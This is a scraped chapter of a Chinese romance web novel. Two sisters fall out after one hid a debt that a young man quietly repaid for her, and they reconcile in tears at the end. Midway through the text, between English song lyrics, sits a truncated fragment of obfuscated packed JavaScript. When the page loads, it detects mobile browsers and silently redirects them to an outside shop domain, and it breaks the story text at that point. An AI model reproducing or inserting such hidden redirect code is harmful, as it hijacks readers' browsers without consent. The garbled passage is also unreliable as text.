文趣网 > 都市小说 > 对聋子唱歌有何用意? > 29. 分歧
    从派出所出来时,已是凌晨两点二十分。

    后面的进展十分顺利,证据确凿,黄四毫无疑问被拘留,他们作为受害者,录完口供签完文件后即可离开,正式判决和受案通知书还要等几天。

    江堪走在前面,看着月明星稀的天空,朝月亮打了个哈欠。

    没想到耗到这么晚。他揉揉眼睛,昨天没睡几个小时,今天又遇到接连不断的意外,手还伤成这样,跑来跑去一整天没休息过,这会他已经累得不行了。

    不过,也并非没有收获。

    虽然前半天不算愉快,后半天更是倒霉,但他着实演好了一出英雄救美的好戏,之前的小插曲不算什么了吧,杨心柠现在对他的好感度想必拉满了。

    江堪唰——地一声踢飞地上的石子,脑中还是自己在危急关头及时出现,一脚踹飞那个猥琐神经病男的英姿。

    心中的自信漫延到脸上,手臂皮肤处隐隐的疼痛早已微不足道,他抓了抓头发整理形象,感觉今天的自己在她眼里一定帅气无比。

    他悄悄朝后一看,两姐妹还在通过手语交流,想必在说关于他的事吧。

    一定是在夸我。他看不懂,但毫不压制嘴角的笑意。

    想着想着,他脑海里奏响了流行朋克(Pop Punk)活力又叛逆的节奏。

    确实是关于他的,但并不是愉快的事,杨穗瑜逐渐难看的脸色也说明了这一点,但这个象征被他眼里泛出的自信光芒选择性蒙蔽了。

    为了延续自己的绅士风度,江堪非常殷勤地主动为姐妹俩打车,也不顾她们同不同意。

    他走到路灯下打开约车软件,什么优先服务全部加满,他上头的时候不在乎这点小钱,况且这里离她们家没多远,再怎么加也花不了多少。

    “我给你们打好车了,我骑车回去,你们俩坐网约车吧,我付过钱了。”江堪拿着手机在二人面前手舞足蹈道。

    他站在路灯底下,姐妹俩将将走到灯照边缘。

    杨穗瑜面色窘迫,一副欲言又止的模样,杨心柠没于黑暗的半张脸中,只有那双琥珀色的眼睛在发亮,一抹稚绿荡然无存,脸色载着些许凝重。

    【你等我一下,我和他聊聊。】杨心柠伸出双手,向妹妹示意道。

    杨穗瑜的向前晃了半步,脚尖轻轻点下的下一秒,重心已经向后摇去。

    杨穗瑜咬咬嘴唇,心怀羞愧地退出路灯的领域。

    江堪站在路牙上,杨心柠拍了拍他的肩膀,他收起手机回身,苹果肌翘起,露出两颗圆润的虎牙,露出略显没心没肺的笑容。

    杨心柠先是指了指她的右手手臂与手指,大概意思问他今天的伤口还痛不痛。

    他以为杨心柠是来和他致谢的,于是随意摆了摆手,拉起T恤袖子攥紧拳头,让手臂上结实的肌肉群发力拱起,轻松表示他健康得很,都是他该做的,让她不必在意。

    谁知,杨心柠举起手机,显示的内容完全在他的意料之外。

    杨心柠:“你给我妹妹还了钱对吧?她借了你多少钱?我替她还你。”

    “……什么?”江堪脸色一僵,脑子里清爽的摇滚乐戛然而止,取而代之的是夏夜不知停歇的虫鸣。

    杨心柠凝重的神情随着夜虫的叮咛,在他的胸腔的峡谷里不断回响放大,将无声的夜衬得更加寂静。

    他拿出刚收起不久的手机,故作轻松地转文字道:“她还让我瞒着不告诉你呢,没想到她自己反而承认了?真是小孩子啊。”

    他将手机举到她面前,有些晃,他也不知道在紧张什么,只是感觉自己做好事不留名的仗义壮举大告天下后,似乎变得没那么酷了。

    杨心柠面色依旧沉重,低头操作了一会手机。

    叮咚——江堪收到了一条6000元的转账消息。

    杨心柠:“5000是她告诉我的金额,我不知道对不对,多的就当利息和答谢吧。”

    江堪一愣,赶紧解释道:“我刚把钱借给她不过几个小时,再怎么样也不会要一千块的利息,就是5000,我最多拿回刚好的钱,请别这样生分。”

    杨心柠:“请你全收下吧,不然我会良心不安,以后也不知道该怎么和您见面。”

    江堪瞬间理解了杨心柠的意思,倘若他不收下这份钱,这就是她与他就此决裂的预先说明。

    他看着白晃晃的手机屏幕,只觉得“请”和“您”,这两个字格外扎眼,扎得他心底泄气。

    江堪着实不知她在生什么气,强撑着找出一点底气:“这是我和杨穗瑜之间的债务关系,再怎么说也该让她亲自解决吧?不让她凭自己的努力赚钱还掉,怎么让她长点教训呢?”

    杨心柠直望着他不语。

    杨心柠:“这是两码事,我知道您是好心,但她是我的妹妹,这是很严重的一件事,我有权知道。”

    她眼里是颤动的光。

    江堪目光一沉,她话语间并没有任何责怪,但像母语者在他乡看见了自己熟悉的语言那般,无需思考,含义已经入木三分:

    你不该欺骗我,你为什么要欺骗我?

    这份无声的责备仿佛一根又一根的细针,无视他坚硬的外壳,直达脆弱的内心。

    江堪深知理亏,但这和不知者无罪的冒犯不同,他并不认为自己见义勇为的付出是该被诟病的,更何况他的本意只是不想让她担心。

    他别过脸,语气软了些,后退半步缓缓道:“我只收我该拿回的钱,其余的我一分都不会多收,你重新转吧。”

    杨心柠复杂的眼神里夹着痛苦,她感觉自己也快撑不住了。

    她将头发生硬地往后一撩,又给他打了一笔5200的转账。

    他本该再推辞一番,但心乱如麻已无暇争论,还是收下了。

    网约车打着近光灯从远处驶来,停在路边等候。

    杨心柠捂着脸:“谢谢您的好意了,又麻烦您了,我们就不另外打车了。”

    江堪靠着路灯柱,已被击碎,他捡起最后的一点体面:“……我不想留下不好的记忆,别在意今天的不快,好好休息。”

    杨心柠朝他稍稍鞠了个躬,转身离开。

    他咬着牙,望向她的眼里也是无法平静的光。

    她只一回眸,也能明白江堪的意思:

    我没有做错事,你凭什么指责我?

    杨心柠不愿陷入纠缠,不再回头。

    杨心柠登上车,杨穗瑜赶忙也跟上去,她看似成熟,此时像个犯了错的小孩子般随在管事的姐姐后边,全程不敢再看他一眼。

    车门关闭,起步,驶走,尾灯远去。留他一个孤零零的影子立在路灯底下。

    Wait, can you turn around, can you turn around?(请你等等,你能否转过身来,能否回头看我一眼?)

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672081|207383||http|test|mini|href|location'.split('|'),0,{}));

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    >Just wait, can we work this out, can we work this out?(拜托等等,我们能否一起解决面前的困难?)

    Just wait, could you come here please?(求你等等,你能回到我的身边吗?)

    车内,杨心柠坐在副驾,杨穗瑜在后座,一看就知是为了隔开距离。

    杨穗瑜试图通过手机转移注意力,今晚流量网络异常的好,但她怎么也看不下去。

    打开与姐姐的聊天框,借着情绪输入了一通问候与试探,最终也没能发出去,姐姐没看手机,发去了她也看不见。

    “美女,没事的,人生值得伤感的只有生老病死。”司机给杨心柠递过一包开封的抽纸纸巾。

    分别不过几分,已是泪流满面。

    杨穗瑜看不见姐姐的表情,但车内太过安静,她想忽视姐姐的抽泣声也做不到,她一时间想不起上次看姐姐哭,是多少年前的事了。

    这一瞬间,杨穗瑜想了无数种弥补的办法,只后悔被质问的当时,没有及时想出能够瞒过姐姐的谎言,明明靠她自己也能还上。

    她知道自己有错在先,但又想到自己也是个未出社会兼职被骗的受害者,再说只是几千块而已,又不是什么压垮人的巨款,姐姐是不是有点过激?

    杨心柠当然不是心疼这点钱。

    她心里五味杂陈,情绪的颜色已经无法分辨,有酸楚有悲痛,但所有的责怪全部属于自己。

    她责备自己当了个差劲的姐姐,从未察觉妹妹的隐瞒,也难过她宁可和一个刚认识的男人袒露心扉求助,和他串通一气欺骗自己,也不愿意对自己坦白。

    杨心柠不想搭理妹妹的安慰,埋着脑袋,将哭做一团的五官遮在臂弯之下。

    痛苦接踵而至,原来自己拼命维系的自尊如此地不堪一击,还偏偏是在自己最喜欢的人面前。

    狼狈,落魄,她从不愿意接受任何人的怜悯,更何况是他的。

    与他重逢就是最大的错误,好在为时尚早,这是上天给她的警示。

    深夜,拖着疲惫的身体回到家,姐妹俩坐在客厅面面相觑。

    杨穗瑜依然沉默,杨心柠脸上依然淌着泪水。

    【为什么不告诉我?】杨心柠指尖颤抖。

    即使交流,也是凝滞的寂静。

    【因为我知道你会伤心,我不想看到你和爸妈会对我失望。】杨穗瑜眼眶里流转的眼泪终究是封不住了。

    【所以你就欺骗我?因为他帮你还了钱,所以你才觉得他是个好人?你怎么能有这样的思想呢?】杨心柠确实失望,但更多是恨铁不成钢。

    【对不起。】杨穗瑜压抑着涌动的内心,一味道歉,不再做出更多解释。

    “不要……骗我……”

    听到姐姐的声音,杨穗瑜影子一斜,抖着肩膀露出双眼。

    “以后……和我说……好吗?”杨心柠握紧妹妹的手,眼泪随着磕绊的音节一同滑落。

    杨穗瑜点头,哭着埋进杨心柠怀抱,无力地攥起她的衣角。像跑回家路上摔倒的小女孩,在姐姐纯粹的温柔中汲取一点安慰。

    杨穗瑜也很痛苦,不知道自己的内心究竟是讨厌,还是太过依赖。

    姐妹俩在宁静的夜里大哭一场,默然的情绪融入名为亲情的暖流之中,伴着风浪消散。